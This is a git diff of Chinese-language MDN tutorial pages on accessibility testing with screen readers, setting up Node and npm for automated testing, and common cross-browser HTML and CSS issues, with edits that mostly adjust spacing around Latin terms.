+VoiceOver (VO) 是 Mac/iPhone/iPad 上的免费应用,所以如果你使用苹果公司的产品,可以用 VO 来进行测试。 我们在 Mac OS X 系统上测试了它。
-按下Cmd + Fn + F5打开它。如果你之前没用过VO,将会出现一个可以选择是否开启VO的欢迎界面,并且还会有教程指导你如何使用。再次按下Cmd + Fn + F5可以关闭。
+按下 Cmd + Fn + F5 打开它。如果你之前没用过 VO,将会出现一个可以选择是否开启 VO 的欢迎界面,并且还会有教程指导你如何使用。再次按下 Cmd + Fn + F5 可以关闭。
--Note: 你应该至少看一遍教程,它对于你了解VO是非常有用的。
+Note: 你应该至少看一遍教程,它对于你了解 VO 是非常有用的。
当VO开启时,你会看到一个会显示当前选中信息的黑色框在屏幕的左下角,除此之外屏幕显示大体还是相同的。当前选中的部分也会出现一个黑色的边框以进行高亮显示,这个黑色框就是VO的光标。
+当 VO 开启时,你会看到一个会显示当前选中信息的黑色框在屏幕的左下角,除此之外屏幕显示大体还是相同的。当前选中的部分也会出现一个黑色的边框以进行高亮显示,这个黑色框就是 VO 的光标。
-在使用中,你会用到"VO修饰键","VO修饰键"是一个单独键或组合键,当你使用VO的快捷键时,你需要额外按下这个"VO修饰键"。屏幕阅读器通常都会有修饰键,防止它们的快捷键和其他程序的快捷键冲突。VO的修饰键是CapsLock, 或Ctrl + Option。
+在使用中,你会用到"VO 修饰键","VO 修饰键"是一个单独键或组合键,当你使用 VO 的快捷键时,你需要额外按下这个"VO 修饰键"。屏幕阅读器通常都会有修饰键,防止它们的快捷键和其他程序的快捷键冲突。VO 的修饰键是 CapsLock, 或 Ctrl + Option。
-VO有很多快捷键,我们没有全部列出来。只把测试网页可访问性常用的一些在下面列出了。表格里,"VO"代表"VO修饰键"。
+VO 有很多快捷键,我们没有全部列出来。只把测试网页可访问性常用的一些在下面列出了。表格里,"VO"代表"VO 修饰键"。
-
-常用的VO快捷键 +常用的 VO 快捷键 快捷键 @@ -382,7 +382,7 @@VoiceOver
VO + 方向键 -移动VO光标 +移动 VO 光标 VO + 空格键 @@ -390,7 +390,7 @@VoiceOver
VO + Shift + 下 -移动到组合项目里(比如HTML表格,或表单等)。进入组合里,你能使用下面的快捷键。 +移动到组合项目里(比如 HTML 表格,或表单等)。进入组合里,你能使用下面的快捷键。 VO + Shift + 上 @@ -413,32 +413,32 @@VoiceOver
(当在表格里面时) 阅读当前行,包括对应于每个小行的头 - VO + 左, VO + 右 +VO + 左,VO + 右 (当在水平的选项卡里面时,比如日期选择或时间选择) 切换选项 - VO + 上, VO + 下 +VO + 上,VO + 下 (当在垂直的选项卡里面时,比如日期选择或时间选择) 切换选项 VO + U -使用Rotor。Rotor使用列表展示标题,链接,表单选项等,以便为我们提供便利的导航。 +使用 Rotor。Rotor 使用列表展示标题,链接,表单选项等,以便为我们提供便利的导航。 - VO + 左, VO + 右 -(当在Rotor里) 切换到其他列表 +VO + 左,VO + 右 +(当在 Rotor 里) 切换到其他列表 - VO + 上, VO + 下 -(当在Rotor里) 在当前列表里,切换到其他项 +VO + 上,VO + 下 +(当在 Rotor 里) 在当前列表里,切换到其他项 Esc -(当在Rotor里) 推出Rotor +(当在 Rotor 里) 推出 Rotor Ctrl -(当VO阅读时) 暂停/继续 +(当 VO 阅读时) 暂停/继续 VO + Z @@ -446,35 +446,35 @@VoiceOver
VO + D -进入Mac的程序坞,你能选择运行哪个应用 +进入 Mac 的程序坞,你能选择运行哪个应用 看起来很多,但当你用起来时还好,因为VO通常会给你提醒,在哪里应该用哪个快捷键。现在试试运行VO,在屏幕阅读器测试屏幕阅读器测试章节做个测试吧。
+看起来很多,但当你用起来时还好,因为 VO 通常会给你提醒,在哪里应该用哪个快捷键。现在试试运行 VO,在屏幕阅读器测试屏幕阅读器测试章节做个测试吧。
NVDA
-NVDA只能运行在Window系统,你需要安装它。
+NVDA 只能运行在 Window 系统,你需要安装它。
-
- 在nvaccess.org下载。你能选择免费下载,或赞助后再下载;你需要在下载前提供你的邮箱地址。
- 下载完成后,开始安装 - 双击安装程序,接受条款,一步步按提示来。
-- 双击NVDA程序或快捷方式,或者按下Ctrl + Alt + N打开它。你会看见欢迎界面。你能选择一些选项,然后按下OK继续。
+- 双击 NVDA 程序或快捷方式,或者按下 Ctrl + Alt + N 打开它。你会看见欢迎界面。你能选择一些选项,然后按下 OK 继续。
NVDA现在在你的电脑上开启了。
+NVDA 现在在你的电脑上开启了。
-在使用中,你会用到"NVDA修饰键","NVDA修饰键"是一个单独键,当你使用NVDA的快捷键时,你需要额外按下这个"NVDA修饰键"。屏幕阅读器通常都会有修饰键,防止它们的快捷键和其他程序的快捷键冲突。NVDA的修饰键是Insert键(默认), 或CapsLock键(在欢迎界面可以选择使用该键)。
+在使用中,你会用到"NVDA 修饰键","NVDA 修饰键"是一个单独键,当你使用 NVDA 的快捷键时,你需要额外按下这个"NVDA 修饰键"。屏幕阅读器通常都会有修饰键,防止它们的快捷键和其他程序的快捷键冲突。NVDA 的修饰键是 Insert 键(默认), 或 CapsLock 键(在欢迎界面可以选择使用该键)。
--Note: 关于高亮方面,NVDA比VoiceOver做的更好。当滚动过标题、列表等元素时,你选中的项目会被一个细微的边框包住以高亮,但不是对于所有元素都是这样的。如果你感觉迷失方向了,可以按Ctrl + F5刷新页面,并从顶部重新开始。
+Note: 关于高亮方面,NVDA 比 VoiceOver 做的更好。当滚动过标题、列表等元素时,你选中的项目会被一个细微的边框包住以高亮,但不是对于所有元素都是这样的。如果你感觉迷失方向了,可以按 Ctrl + F5 刷新页面,并从顶部重新开始。
NVDA有很多快捷键,我们没有全部列出来。只把测试网页可访问性常用的一些在下面列出了。表格里,"NVDA"代表"NVDA修饰键"。
+NVDA 有很多快捷键,我们没有全部列出来。只把测试网页可访问性常用的一些在下面列出了。表格里,"NVDA"代表"NVDA 修饰键"。
-
常用的NVDA快捷键 +常用的 NVDA 快捷键 快捷键 @@ -484,7 +484,7 @@NVDA
NVDA + Q -关闭NVDA +关闭 NVDA NVDA + 上 @@ -495,7 +495,7 @@NVDA
在当前位置开始阅读 - 上和下, 或者Shift + Tab 和Tab +上和下,或者 Shift + Tab 和 Tab 移动到上/下一项,开始阅读 @@ -548,11 +548,11 @@ NVDA
Shift Tab 和 Tab -(当在表单里面时) 切换到下一个input +(当在表单里面时) 切换到下一个 input 上 和 下 -(当在表单里面时) 改变input的值(例如选择框). +(当在表单里面时) 改变 input 的值 (例如选择框). 空格 @@ -573,27 +573,27 @@屏幕阅读器测试
- 浏览good-semantics.html, 留意屏幕阅读器如何找到标题并将其用于导航。再看一下bad-semantics.html, 留意屏幕阅读器不会得到这些信息。想象一下,当尝试浏览非常长的文本页面时,这会是多么使人烦躁。
- 浏览good-links.html, 并留意当不在上下文时他们对于你理解内容的帮助。而bad-links.html 就无法帮助你理解— 他们仅仅会提示"click here(点击这里)".
- 浏览good-form.html, 并注意如何使用其标签描述表单输入,因为我们已经正确使用了<label>。在bad-form.html, 只能获取到无用的空白标签。
-- 浏览punk-bands-complete.html, 并查看屏幕阅读器如何将内容的列和行关联起来,并一起读取它们,因为我们已经正确定义了标头。在bad-table.html, 无法得知单元格的关联关系。请注意,当页面上只有一个表时,NVDA似乎表现得有些杂乱无章。你可以改用WebAIM's table test page进行测试。
+- 浏览punk-bands-complete.html, 并查看屏幕阅读器如何将内容的列和行关联起来,并一起读取它们,因为我们已经正确定义了标头。在bad-table.html, 无法得知单元格的关联关系。请注意,当页面上只有一个表时,NVDA 似乎表现得有些杂乱无章。你可以改用WebAIM's table test page进行测试。
- 看一下之前看过的WAI-ARIA live regions example, 并注意屏幕阅读器将实时读取不断更新的部分。
用户测试
-如上所述,你不能仅依靠自动化工具来确定网站上的可访问性问题。建议在制定测试计划时,包含一些用户测试可访问性的计划(有关更多内容,请参阅前面的用户测试部分)。尝试让一些屏幕阅读器用户,一些全键盘用户,一些有听觉障碍的用户或其他用户参与测试,以满足你的需求。
+如上所述,你不能仅依靠自动化工具来确定网站上的可访问性问题。建议在制定测试计划时,包含一些用户测试可访问性的计划 (有关更多内容,请参阅前面的用户测试部分)。尝试让一些屏幕阅读器用户,一些全键盘用户,一些有听觉障碍的用户或其他用户参与测试,以满足你的需求。
测试可访问性检查清单
以下列表提供了一个清单,供参考,以确保已对项目执行建议的可访问性测试:
-
- 确保HTML尽可能是语义化的。验证是一个好方法, 就像使用审计工具。
-- 检查当关闭CSS时,你的内容能够被理解。
-- 确认功能是全键盘可访问的。使用Tab键、回车键等做测试。
+- 确保 HTML 尽可能是语义化的。验证是一个好方法,就像使用审计工具。
+- 检查当关闭 CSS 时,你的内容能够被理解。
+- 确认功能是全键盘可访问的。使用 Tab 键、回车键等做测试。
- 确保非文本内容有替代文本。 审计工具能够很好地发现问题。
- 确保颜色和颜色对比度是可接受的,使用合适的工具测试。
- 确保隐藏的内容可以被屏幕阅读器读取。
-- 尽可能的使功能在没有JavaScript的情况下也可以正常使用。
-- 在合适的地方使用ARIA来提供可访问性。
+- 尽可能的使功能在没有 JavaScript 的情况下也可以正常使用。
+- 在合适的地方使用 ARIA 来提供可访问性。
- 使用审计工具测试一下你的网站。
- 使用屏幕阅读器实际测试一下。
- 在你的网站上可以添加可访问性策略/声明,以说明你的为可访问性做了什么。
@@ -601,7 +601,7 @@测试可访问性检查清单
寻找帮助
-可访问性还会遇到许多其他问题。你要学会如何在线查找答案。请查阅HTML和CSS文章的“寻找帮助”部分,以获取一些指导。
+可访问性还会遇到许多其他问题。你要学会如何在线查找答案。请查阅 HTML 和 CSS 文章的“寻找帮助”部分,以获取一些指导。
总结
@@ -616,8 +616,8 @@指南
- 跨浏览器测试简介
- 测试策略
-- 处理常见的HTML和CSS问题
-- 处理常见的JavaScript问题
+- 处理常见的 HTML 和 CSS 问题
+- 处理常见的 JavaScript 问题
- 处理常见的可访问性问题
- 实现特征检查
- 自动测试简介
diff --git a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/automated_testing/index.html b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/automated_testing/index.html index 5104a156bfeafd..33916236fb8e6d 100644 --- a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/automated_testing/index.html +++ b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/automated_testing/index.html @@ -45,16 +45,16 @@使用任务运行器
Setting up Node and npm
-很多工具都是基于 {{Glossary("Node.js")}},所以你需要从 nodejs.org安装它:
+很多工具都是基于 {{Glossary("Node.js")}},所以你需要从 nodejs.org安装它:
-
@@ -68,18 +68,18 @@- 从上面的网站下载适合你系统的安装软件。 (如果你已经安装了Node和npm,跳到步骤4)
-- 像其它软件那样正常安装。注意Node来源于 Node Package Manager (npm),它使你能更快地安装包、同它人分享你的包,并在你的工程上运行有用的脚本。
-- 安装结束后,运行下列命令查看Node和npm的版本,检测node是否正确安装好 : +
- 从上面的网站下载适合你系统的安装软件。 (如果你已经安装了 Node 和 npm,跳到步骤 4)
+- 像其它软件那样正常安装。注意 Node 来源于 Node Package Manager (npm),它使你能更快地安装包、同它人分享你的包,并在你的工程上运行有用的脚本。
+- 安装结束后,运行下列命令查看 Node 和 npm 的版本,检测 node 是否正确安装好 :
-node -v npm -v- 安装 Node/npm 后,还应将其更新到最新的版本。 更新Node最有效可靠的方式是从它的网站(链接见上)下载一个最新的安装包进行安装。 而更新npm,可以在你的命令行终端运行如下命令: +
- 安装 Node/npm 后,还应将其更新到最新的版本。 更新 Node 最有效可靠的方式是从它的网站(链接见上)下载一个最新的安装包进行安装。而更新 npm,可以在你的命令行终端运行如下命令:
npm install npm@latest -gSetting up Node and npm
举例如下,首先创建一个测试目录,以免在测试的过程中产生任何错误。
-
-- 使用文件管理UI在合适的地方创建一个新的目录,或在命令行下定位到你想要创建目录的地方,执行如下命令: +
- 使用文件管理 UI 在合适的地方创建一个新的目录,或在命令行下定位到你想要创建目录的地方,执行如下命令:
-mkdir node-test- 要使这个目录成为一个npm工程, 你需要进入目录下然后初始化它: +
- 要使这个目录成为一个 npm 工程,你需要进入目录下然后初始化它:
-cd node-test npm init- 第2步执行后你会看到要回答一些问题,这是建立工程需要获取的信息。现在你可以先选择使用默认值。
-- 所有问题回答完成后,你还需要确定信息是否OK。输入yes或者直接回车,npm就会在你的目录下生成一个package.json文件。
+- 第 2 步执行后你会看到要回答一些问题,这是建立工程需要获取的信息。现在你可以先选择使用默认值。
+- 所有问题回答完成后,你还需要确定信息是否 OK。输入 yes 或者直接回车,npm 就会在你的目录下生成一个 package.json 文件。
这是一个工程的基本配置文件。你可以后续对它进行修改,现在,它的内容是这样的:
+这是一个工程的基本配置文件。你可以后续对它进行修改,现在,它的内容是这样的:
{ "name": "node-test", @@ -281,7 +281,7 @@使用商业测试服务
Sauce Labs
-Sauce Labs入门
+Sauce Labs 入门
Let's get started with a Sauce Labs Trial.
@@ -371,7 +371,7 @@Advanced: Automated tests
BrowserStack
-BrowserStack入门
+BrowserStack 入门
Let's get started with a BrowserStack Trial.
@@ -431,7 +431,7 @@其他基本功能
- Screenshots: Enter a URL, choose the browsers/devices/platforms you are interested in, then press Generate screenshots — Browserstack will take screenshots of your site in all those different browsers then make them available to you to view and download.
-高级: BrowserStack API
+高级:BrowserStack API
BrowserStack also has a restful API that allows you to programmatically retrieve details of your account plan, sessions, builds, etc.
@@ -589,7 +589,7 @@高级: BrowserStack API
*/ } -高级: 自动化测试
+高级:自动化测试
We'll cover actually running automated BrowserStack tests in the next article.
diff --git a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/html_and_css/index.html b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/html_and_css/index.html index 90e04c85ff5436..10043e07ca085a 100644 --- a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/html_and_css/index.html +++ b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/html_and_css/index.html @@ -14,19 +14,19 @@{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies","Learn/Tools_and_testing/Cross_browser_testing/JavaScript", "Learn/Tools_and_testing/Cross_browser_testing")}}-通过之前的准备,我们现在将专门研究在 HTML 和 CSS 代码中遇到的常见跨浏览器问题,以及哪些工具可以用来防止问题的发生,或者解决出现的问题。这包括静态分析代码,处理CSS前缀,使用浏览器开发工具来跟踪问题,使用polyfills添加到浏览器的支持,解决响应的设计问题,等等。
+通过之前的准备,我们现在将专门研究在 HTML 和 CSS 代码中遇到的常见跨浏览器问题,以及哪些工具可以用来防止问题的发生,或者解决出现的问题。这包括静态分析代码,处理 CSS 前缀,使用浏览器开发工具来跟踪问题,使用 polyfills 添加到浏览器的支持,解决响应的设计问题,等等。
@@ -64,13 +64,13 @@
- 先决条件: +先决条件: 熟悉核心的 HTML,CSS 和 JavaScript 语言;了解跨浏览器测试中涉及的高级概念。
- 本文目标: -为了能够诊断常见的HTML和CSS跨浏览器问题,并使用适当的工具和技术来解决它们 +本文目标: +为了能够诊断常见的 HTML 和 CSS 跨浏览器问题,并使用适当的工具和技术来解决它们 验证
对于 HTML,要确保所有的标签都被正确地关闭和嵌套,写好 DOCTYPE,而且正确地使用各种标签。一个好的策略是定期验证你的代码。一个可以做到这一点的服务是 W3C 标记验证服务,提供您的代码,它就能返回错误列表:
-CSS 有一个类似的路线——你需要检查你的属性名拼写是否正确,属性值拼写正确,并且对于它们使用的属性是有效的,你不会丢失任何大括号,等等。为了这个目的,W3C也有一个 CSS 验证器。
+CSS 有一个类似的路线——你需要检查你的属性名拼写是否正确,属性值拼写正确,并且对于它们使用的属性是有效的,你不会丢失任何大括号,等等。为了这个目的,W3C 也有一个 CSS 验证器。
Linter
另一个很好的选择就是所谓的 Linter 程序,它不仅可以指出错误,还可以标记关于 CSS 中不良做法的警告,以及其他一些要点。大家可以定制 Linter,以得到更严格或者更宽松的错误/警告报告。
-有许多在线 Linter 程序,其中最好的可能是“脏标记”Dirty Markup(HTML,CSS,JavaScript)和 CSS Lint(仅限CSS)。它们可以让你把代码粘贴到一个窗口中,并且会用十字标记任何错误,然后可以将它们悬停,以获得错误信息,通知你问题是什么。肮脏的标记还允许您使用清理按钮修复您的标记。
+有许多在线 Linter 程序,其中最好的可能是“脏标记”Dirty Markup(HTML,CSS,JavaScript)和 CSS Lint(仅限 CSS)。它们可以让你把代码粘贴到一个窗口中,并且会用十字标记任何错误,然后可以将它们悬停,以获得错误信息,通知你问题是什么。肮脏的标记还允许您使用清理按钮修复您的标记。
@@ -80,9 +80,9 @@Linter
@@ -98,7 +98,7 @@
- 安装 Atom(如果您还没有安装最新版本),请从上面链接的 Atom 页面下载。
-- 转到 Atom 的首选项...对话框(例如在 Mac 上选择 Atom > Preferences... 或在 Windows / Linux 上选择 File > Preferences...),然后在左侧菜单中选择Install选项。
+- 转到 Atom 的首选项...对话框(例如在 Mac 上选择 Atom > Preferences... 或在 Windows / Linux 上选择 File > Preferences...),然后在左侧菜单中选择 Install 选项。
- 在搜索包文本字段中,输入“lint”,然后按 Enter / 回车键搜索与 lint 相关的包。
-- 您应该在列表顶部看到一个名为 lint 的包。首先安装它(使用安装按钮),因为其他短裤依靠它工作。之后,安装用于linting CSS 的 linter-csslint 插件,和用于 lint HTML 的linter-tidy 插件。
+- 您应该在列表顶部看到一个名为 lint 的包。首先安装它(使用安装按钮),因为其他短裤依靠它工作。之后,安装用于 linting CSS 的 linter-csslint 插件,和用于 lint HTML 的 linter-tidy 插件。
- 软件包完成安装后,尝试加载一个 HTML 文件和一个 CSS 文件:在行号旁边会看到用绿色(警告)和红色(错误)圆圈,突出显示任何存在的问题,底部则提供行号、错误消息,有时有建议的值或者其他修复。
Linter
浏览器开发者工具
-大多数浏览器中内置的开发人员工具还提供了有用的工具来查找错误,主要是针对CSS 的。
+大多数浏览器中内置的开发人员工具还提供了有用的工具来查找错误,主要是针对 CSS 的。
注意:在开发工具中,HTML 错误不会直接显示,因为浏览器会尝试自动纠正错误形成的标记;目前,W3C 验证器是获取 HTML 错误的最佳方法——请参阅上面的验证。
@@ -116,7 +116,7 @@常见的跨浏览器问题
旧版浏览器不支持新特性
-这是一个常见的问题,尤其是当您需要支持旧的浏览器(例如旧的IE版本),或者您正在使用使用CSS前缀实现的功能时。通常,大多数核心HTML和CSS功能(如基本的HTML元素,CSS基本颜色和文本样式)在大多数浏览器中都可以使用,当您开始想要使用 Flexbox,HTML5 视频/音频,甚至更新的 CSS Grid 或
+-webkit-background-clip:text
等新功能时,会发现更多的问题。这是一个常见的问题,尤其是当您需要支持旧的浏览器(例如旧的 IE 版本),或者您正在使用使用 CSS 前缀实现的功能时。通常,大多数核心 HTML 和 CSS 功能(如基本的 HTML 元素,CSS 基本颜色和文本样式)在大多数浏览器中都可以使用,当您开始想要使用 Flexbox,HTML5 视频/音频,甚至更新的 CSS Grid 或
-webkit-background-clip:text
等新功能时,会发现更多的问题。一旦您确定了您将要使用的潜在问题技术列表,研究它们所支持的浏览器以及相关技术是否有用是一个不错的主意。请参阅下面的查找帮助。
@@ -124,13 +124,13 @@HTML 回退行为
一些问题可以通过利用 HTML / CSS 的自然工作方式来解决。
-无法识别的 HTML 元素被浏览器视为匿名内联元素(有效内联元素,没有语义值,类似于 {{htmlelement("span")}} 元素)。您还可以参考他们通过自己的名字,并用CSS样式它们,例如-你只需要确保它们表现为你想让他们,例如对所有新的语义元素设置
+display: block;
(如 {{htmlelement("article")}}、{{htmlelement("aside")}} 等),但现在,基本只有在旧版本的 IE 不能识别他们(IE 8 和更低)。这样,新的浏览器就可以正常使用这些代码,但是旧的IE版本也可以对这些元素进行样式化。无法识别的 HTML 元素被浏览器视为匿名内联元素(有效内联元素,没有语义值,类似于 {{htmlelement("span")}} 元素)。您还可以参考他们通过自己的名字,并用 CSS 样式它们,例如 - 你只需要确保它们表现为你想让他们,例如对所有新的语义元素设置
-display: block;
(如 {{htmlelement("article")}}、{{htmlelement("aside")}} 等),但现在,基本只有在旧版本的 IE 不能识别他们(IE 8 和更低)。这样,新的浏览器就可以正常使用这些代码,但是旧的 IE 版本也可以对这些元素进行样式化。更复杂的元素,如HTML
+<video>
、<audio>
,和<canvas>
(和其他功能除外)有自然的fallback加入机制,其工作原理与上述相同。您可以在开始和结束标记之间添加回退内容,非支持的浏览器将有效地忽略外部元素并运行嵌套的内容。更复杂的元素,如 HTML
<video>
、<audio>
,和<canvas>
(和其他功能除外)有自然的 fallback 加入机制,其工作原理与上述相同。您可以在开始和结束标记之间添加回退内容,非支持的浏览器将有效地忽略外部元素并运行嵌套的内容。例如:
@@ -150,9 +150,9 @@HTML 回退行为
<a href="video/tears-of-steel-battle-clip-medium.mp4">Download MP4</a> </video> -这个例子(来自创建一个跨浏览器的视频播放器)不仅包括旧的IE版本的Flash视频后备,而且还包括一个简单的链接,允许你下载视频,这样,即使 Flash 播放器无法运作,用户仍然可以访问视频。
+这个例子(来自创建一个跨浏览器的视频播放器)不仅包括旧的 IE 版本的 Flash 视频后备,而且还包括一个简单的链接,允许你下载视频,这样,即使 Flash 播放器无法运作,用户仍然可以访问视频。
-HTML5 表单元素也表现出了后备素质--HTML5 引入了一些特殊的
+<input>
类型,用于将特定的信息输入到时间,日期,颜色,数字等形式中。这些非常有用,特别是在移动平台上,它提供了一种无痛苦的输入数据对用户体验非常重要。当使用这些输入类型时,支持平台提供特殊的UI小部件,例如用于输入日期的日历小部件。HTML5 表单元素也表现出了后备素质--HTML5 引入了一些特殊的
<input>
类型,用于将特定的信息输入到时间,日期,颜色,数字等形式中。这些非常有用,特别是在移动平台上,它提供了一种无痛苦的输入数据对用户体验非常重要。当使用这些输入类型时,支持平台提供特殊的 UI 小部件,例如用于输入日期的日历小部件。以下示例显示日期和时间输入:
@@ -212,10 +212,10 @@Hidden example
{{ EmbedLiveSample('Hidden_example', '100%', 150) }}
--注意:您也可以在GitHub上以forms-test.html的形式直接看到这个运行(参见源代码)。
+注意:您也可以在 GitHub 上以forms-test.html 的形式直接看到这个运行(参见源代码)。
如果您在支持的浏览器(如桌面/ Android Chrome或iOS Safari)上查看该示例,则会在尝试输入数据时看到特殊的小部件/功能。在一个非支持的平台上,例如Firefox或Internet Explorer,输入只会回退到正常的文本输入,所以至少用户仍然可以输入一些信息。
+如果您在支持的浏览器(如桌面/ Android Chrome 或 iOS Safari)上查看该示例,则会在尝试输入数据时看到特殊的小部件/功能。在一个非支持的平台上,例如 Firefox 或 Internet Explorer,输入只会回退到正常的文本输入,所以至少用户仍然可以输入一些信息。
注意:当然,这对于您的项目需求来说可能不是一个很好的解决方案 - 视觉呈现方面的差异并不是很大,而且更难保证数据将以您希望的格式输入。对于跨浏览器表单,依靠简单的表单元素,或者选择性地使用高级表单元素来支持浏览器,或者使用提供体面的跨浏览器表单小部件(如 jQuery UI 或 Bootstrap datepicker)的库可能会更好。
@@ -251,32 +251,32 @@CSS 回退行为
inset -1px -1px 3px rgba(255,255,255,0.4); } -在这里,我们提供了一个 RGBA background-color,改变悬停的不透明度,给用户一个暗示该按钮是交互式的提示,以及一些半透明的嵌入式 box-shadow 阴影,使按钮有一点纹理和深度。问题在于 RGBA 颜色和方块阴影在9以前的IE版本中不起作用 - 在较旧的版本中,背景根本不会显示出来,所以文本将是不可读的,这没有任何好处!
+在这里,我们提供了一个 RGBA background-color,改变悬停的不透明度,给用户一个暗示该按钮是交互式的提示,以及一些半透明的嵌入式 box-shadow 阴影,使按钮有一点纹理和深度。问题在于 RGBA 颜色和方块阴影在 9 以前的 IE 版本中不起作用 - 在较旧的版本中,背景根本不会显示出来,所以文本将是不可读的,这没有任何好处!
-为了解决这个问题,我们添加了第二个background-color声明,它只是指定了一个十六进制颜色 - 这在旧版本的浏览器中得到了支持,并且在现代闪亮功能无法使用的情况下作为后备。访问此页面的浏览器首先应用第一个background-color值,当它到达第二个background-color声明时,如果它支持RGBA颜色,它将用这个值覆盖初始值。如果不是的话,它会忽略整个声明,继续前进。
+为了解决这个问题,我们添加了第二个 background-color 声明,它只是指定了一个十六进制颜色 - 这在旧版本的浏览器中得到了支持,并且在现代闪亮功能无法使用的情况下作为后备。访问此页面的浏览器首先应用第一个 background-color 值,当它到达第二个 background-color 声明时,如果它支持 RGBA 颜色,它将用这个值覆盖初始值。如果不是的话,它会忽略整个声明,继续前进。
-注意:这同样适用于其他 CSS 功能,如真正的媒体查询,@font-face 以及 @supports 块-如果不支持他们,浏览器只是忽略它们。
+注意:这同样适用于其他 CSS 功能,如真正的媒体查询,@font-face 以及 @supports 块 - 如果不支持他们,浏览器只是忽略它们。
IE 条件注释
-IE条件注释是修改后的专有HTML注释语法,可用于将HTML代码有选择地应用于不同版本的IE。这已被证明是一个非常有效的机制来解决跨浏览器的错误。语法如下所示:
+IE 条件注释是修改后的专有 HTML 注释语法,可用于将 HTML 代码有选择地应用于不同版本的 IE。这已被证明是一个非常有效的机制来解决跨浏览器的错误。语法如下所示:
<!--[if lte IE 8]> <script src="ie-fix.js"></script> <link href="ie-fix.css" rel="stylesheet" type="text/css"> <![endif]-->-只有当浏览器查看页面是IE 8或更旧时,此块才会应用IE特定的CSS和JavaScript。lte意思是“小于或等于”,但是也可以使用lt、gt、gte、!(NOT) 以及其他逻辑语法。
+只有当浏览器查看页面是 IE 8 或更旧时,此块才会应用 IE 特定的 CSS 和 JavaScript。lte 意思是“小于或等于”,但是也可以使用 lt、gt、gte、!(NOT) 以及其他逻辑语法。
--注意:Sitepoint 的 Internet Explorer条件注释提供了一个有用的初学者教程/参考,详细解释了条件注释语法。
+注意:Sitepoint 的 Internet Explorer 条件注释提供了一个有用的初学者教程/参考,详细解释了条件注释语法。
正如你所看到的,这对于将代码修复应用于旧版本的IE尤其有用。我们前面提到的用例(使旧版本的IE可以使用现代语义元素)可以通过使用条件注释来轻松实现,例如,您可以在IE样式表中添加类似这样的内容:
+正如你所看到的,这对于将代码修复应用于旧版本的 IE 尤其有用。我们前面提到的用例(使旧版本的 IE 可以使用现代语义元素)可以通过使用条件注释来轻松实现,例如,您可以在 IE 样式表中添加类似这样的内容:
aside, main, article, section, nav, figure, figcaption { display: block; @@ -291,9 +291,9 @@-IE 条件注释
选择器支持
-当然,如果你不使用正确的选择器来选择你想要的样式的话,就没有任何CSS功能可以应用!如果您只是错误地写了一个选择器,所以在任何浏览器中的样式都不像预期的那样,您只需要排除故障并找出选择器出了什么问题。我们发现使用浏览器的开发工具来检查你试图设计的元素是有帮助的,然后看一下DOM检查器倾向于提供的DOM树面包屑跟踪,看看你的选择器是否比它有意义。
+当然,如果你不使用正确的选择器来选择你想要的样式的话,就没有任何 CSS 功能可以应用!如果您只是错误地写了一个选择器,所以在任何浏览器中的样式都不像预期的那样,您只需要排除故障并找出选择器出了什么问题。我们发现使用浏览器的开发工具来检查你试图设计的元素是有帮助的,然后看一下 DOM 检查器倾向于提供的 DOM 树面包屑跟踪,看看你的选择器是否比它有意义。
-例如,在 Firefox 开发工具中,您可以在DOM检查器的底部获得这种输出:
+例如,在 Firefox 开发工具中,您可以在 DOM 检查器的底部获得这种输出:
@@ -301,9 +301,9 @@选择器支持
form > #date-(date表单输入不是直接在里面<form>;你最好使用一般的后代选择器而不是子选择器)。
+(date 表单输入不是直接在里面<form>;你最好使用一般的后代选择器而不是子选择器)。
-然而,出现在IE 9比旧的版本的另一个问题是,没有任何新的选择(主要是伪类和伪元素如 :nth-of-type,:not,::selection,等)的工作。如果你想在你的 CSS 中使用这些,并且需要支持较老的IE版本,那么一个好的方法就是使用Keith Clark 的 Selectivizr 库 - 这是一个小型的 JavaScript 库,可以在现有的 JavaScript 库(如 jQuery 或 MooTools)上工作。
+然而,出现在 IE 9 比旧的版本的另一个问题是,没有任何新的选择(主要是伪类和伪元素如 :nth-of-type,:not,::selection,等)的工作。如果你想在你的 CSS 中使用这些,并且需要支持较老的 IE 版本,那么一个好的方法就是使用 Keith Clark 的 Selectivizr 库 - 这是一个小型的 JavaScript 库,可以在现有的 JavaScript 库(如 jQuery 或 MooTools)上工作。
-
- 要尝试此示例,请创建 selectivizr-example-start.html 的本地副本。如果你看看这个现场直播,你会发现它包含两个段落,其中一个是风格。我们已经选择了这个段落
@@ -316,7 +316,7 @@p:first-child
,这在老版本的 IE 中不起作用。选择器支持
如果你尝试在旧版本的IE中运行它,它应该可以正常工作。
+如果你尝试在旧版本的 IE 中运行它,它应该可以正常工作。
@@ -339,40 +339,40 @@处理 CSS 前缀
background-image: linear-gradient(to right,green,yellow);第一行显示了一个transform带有-webkit-前缀的属性- 这是在Chrome中使用变换功能所必需的,直到功能定稿,并且这些浏览器添加了该属性的前缀无版本(在撰写本文时,Chrome支持这两个版本)。
+第一行显示了一个transform带有-webkit-前缀的属性 - 这是在 Chrome 中使用变换功能所必需的,直到功能定稿,并且这些浏览器添加了该属性的前缀无版本(在撰写本文时,Chrome 支持这两个版本)。
最后三行显示了三个不同版本的linear-gradient()函数,用于在元素的背景中生成线性渐变:
-
- 第一个有一个-moz-前缀,并显示一个略老的语法版本(Firefox)
-- 第二个有一个-webkit-前缀,并显示一个更老的专有版本的语法(这实际上是从一个真正的旧版本的WebKit引擎)。
-- 第三个没有前缀,并显示语法的最终版本(包含在定义此功能的CSS图像值和替换内容模块级别3规范中)。
+- 第二个有一个-webkit-前缀,并显示一个更老的专有版本的语法(这实际上是从一个真正的旧版本的 WebKit 引擎)。
+- 第三个没有前缀,并显示语法的最终版本(包含在定义此功能的CSS 图像值和替换内容模块级别 3 规范中)。
前缀功能从来不应该用于生产网站——它们可能会在没有警告的情况下更改或删除,并导致跨浏览器问题。当开发人员决定只使用-webkit- 某个属性的版本时,这是一个特别的问题- 这意味着该网站在其他浏览器中不起作用。这实际上发生了很多,其他浏览器已经开始实现-webkit-各种CSS属性的前缀版本,所以他们将使用这样的代码。由于这些类型的问题,浏览器供应商使用前缀最近已经下降,但仍然有一些需要注意。
